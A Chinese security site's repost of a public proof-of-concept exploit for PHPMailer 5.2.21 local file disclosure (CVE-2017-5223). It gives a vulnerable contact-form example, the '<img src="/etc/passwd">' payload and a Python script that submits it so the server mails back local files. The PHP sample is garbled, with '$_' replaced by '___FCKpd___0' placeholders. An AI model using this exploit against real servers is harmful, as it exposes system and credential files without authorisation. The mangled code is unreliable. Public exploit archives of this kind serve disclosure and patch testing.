首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHPMailer 5.2.21 Local File Disclosure
来源:maciek at krupa.email 作者:Krupa 发布时间:2017-10-26  
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223

// PoC //

It requires a contact form that sends HTML emails and allows to send a copy to your e-mail

// vulnerable form example //

<?php
require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21
if (isset(
___FCKpd___0
POST['your-name'],
___FCKpd___0
POST['your-email'],
___FCKpd___0
POST['your-message'])) { $mail = new PHPMailer(); $mail->SetFrom(
___FCKpd___0
POST["your-email"],
___FCKpd___0
POST["your-name"]); $address = "admin@localhost"; $mail->AddAddress($address, "root"); if (isset(
___FCKpd___0
POST['cc'])) $mail->AddCC(
___FCKpd___0
POST["your-email"],
___FCKpd___0
POST["your-name"]); $mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)"; $mail->MsgHTML(
___FCKpd___0
POST["your-message"]); if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!"; } ?> <form action="/contact.php" method="post"> <p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p> <p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p> <p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p> <p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span> <p><input type="submit" value="submit" /></p> // exploit // Put <img src="/etc/passwd"> in the message (or other file to disclose). // python code // #!/usr/bin/python import urllib import urllib2 poc = """ # Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 """ url = 'http://localhost/contact.php' email = 'attacker@localhost' payload = '<img src="/etc/passwd"' values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload} data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) html = response.read() print html

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows NTLM Auth Hash Disclos
·Watchdog Development Anti-Malw
·DameWare Remote Controller < 1
·Netgear DGN1000 Setup.cgi Remo
·Tizen Studio 1.3 Smart Develop
·Easy MPEG/AVI/DIVX/WMV/RM To D
·Oracle Java SE - Web Start jnl
·Mikogo 5.4.1.160608 - Local Cr
·Easy MPEG/AVI/DIVX/WMV/RM to D
·Linux Kernel 4.14.0-rc4+ - 'wa
·WhatsApp 2.17.52 - Memory Corr
·Kaltura < 13.1.0 - Remote Code
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved